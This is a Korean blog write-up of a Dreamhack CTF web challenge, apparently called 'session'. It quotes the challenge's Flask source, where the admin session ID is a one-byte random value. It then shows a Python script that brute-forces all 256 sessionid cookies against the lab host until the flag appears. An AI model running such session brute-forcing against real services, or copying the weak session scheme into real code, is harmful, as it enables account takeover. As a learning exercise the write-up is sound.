연휴가 끝나고, 못 푼 1일 1문제를 몰아서 풀어보려고 한다.
연휴때는 제8회 BoB BISC CTF를 참여했는데, 2문제밖에 못풀었다..
(대충 2개만 풀고 놀러가서 못했다는 핑계)
(사실 어려워서 못품 ㅋ..)
BISC CTF 기간이 끝나면,
풀었던 문제 writeup을 올려볼까 한다.
그 중에서도 포렌식문제는 상위권으로 풀었다 !
잡소리는 여기까지 하고,
이번 문제 정보는 다음과 같다.
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다. admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다. |
그리고 주어지는 문제 파일과 홈페이지는 다음과 같다.
간단하게, 메인페이지와 로그인페이지가 나온다.
해당 웹은 flask로 작성되어 있다.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
1) 우선은 간단하게 로그인할 수 있는 guest와 user 계정이 보인다.
2) session_storage는 빈값으로 선언되어있다.
3) index 함수를 보면, 쿠키값이 session_storage에 session_id 변수로 저장되고,
해당 값은 username 변수로 저장된다.
4) 그래서 username이 admin이면 플래그가 나오고,
else로 admin이 아니면 flag is you are not admin이 출력되는 것 같다.
5) login 함수를 보면 username, password를 받고, index로 redirect한다.
6) 이때, session_id는 os.urandom(4).hex()에 감싸져서 보내진다.
일단 guset로 로그인해서 쿠키를 확인해보자.
sessionid라는 이름의 쿠키가 저장되고,
value는 아까본 함수때문에 자동 생성되는 것 같다.
이번에는 user로 로그인했더니,
다른 값이 나온다.
여기서 알고가야 할 것이,
username이 admin이면 flag가 출력될텐데
username = session_storage[session_id]라는 것이다.
근데 코드 맨 밑을 보게 되면,
session_stroage[os.urandom(1).hex()] = 'admin'이라는
힌트를 주고 있다.
이때, os.urandom(1).hex()는 원하는 1자리 길이만큼의
랜덤한 값의 hex값을 말하는데..
로그인을 할 때마다 value값이 바뀐다는 얘기이다.
찬찬히 이해해보자.
pw = users[username] 인데,
pw = users[admin] 이면
pw = FLAG이게 된다.
그 pw가 password랑 일치하면 쿠키 발행이다.
그렇다면, os.urandom(1).hex() 값을 무작위 대입하면
되지않을까하는 방법 하나가 있을 것 같다.
------------------------------------------------------------------
여기까지 생각했는데,,
브루트포스 스크립트 같은
자동화 스크립트를 안짜봐서 모르겠다.
일단, 1차적으로 burp suite에
Intruder 무작위 대입을 해보았다.
brute force를 진행하다보면,
Length가 다른 하나를 볼 수 있는데
그 이유는 flag가 html에 출력되면서 받은 response의
길이가 다른 것이다!
이렇게 찾아내는 방법이 있지만,
파이썬 자동화 스크립트를 짜면 좋을 것 같아서
좋은 블로그 하나를 참고해보았다!
(코드출처: https://velog.io/@h0meb0dy/DreamHack-session)
import requests
for sessionid in range(0x100):
cookie = {'sessionid': bytes([sessionid]).hex()}
print(cookie)
res = requests.get("http://host3.dreamhack.games:14953/", cookies=cookie)
if 'flag is' in res.text:
print(res.text)
break
결과는 다음과 같다.
{'sessionid': '00'}
{'sessionid': '01'}
{'sessionid': '02'}
{'sessionid': '03'}
...
{'sessionid': '3b'}
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="/static/css/non-responsive.css">
<title>Index Session</title>
<style type="text/css">
.important { color: #336699; }
</style>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Session</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="#">About</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="/login">Login</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<!--
# default account: guest/guest
-->
<div class="container">
<p class="important">
Welcome !
</p>
<h3>
Hello admin, flag is DH{여기에 노출됨}
</h3>
</div> <!-- /container -->
<!-- Bootstrap core JavaScript -->
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
</body>
</html>
Process finished with exit code 0
플래그가 잘 출력되었다!!
앞으로 여러 사이트를 참고하면서
직접 자동화 스크립트를 짜는 연습을 해보자.
ps. 세션의 짧은 암호화는 무작위 대입으로..
'CTF > 웹해킹' 카테고리의 다른 글
[Dreamhack] web-misconf-1 (0) | 2022.09.13 |
---|---|
[Dreamhack] simple-ssti (0) | 2022.09.06 |
[Dreamhack] php-1 (0) | 2022.09.01 |
[Dreamhack] proxy-1 (0) | 2022.08.30 |
[Dreamhack] pathtraversal (0) | 2022.08.29 |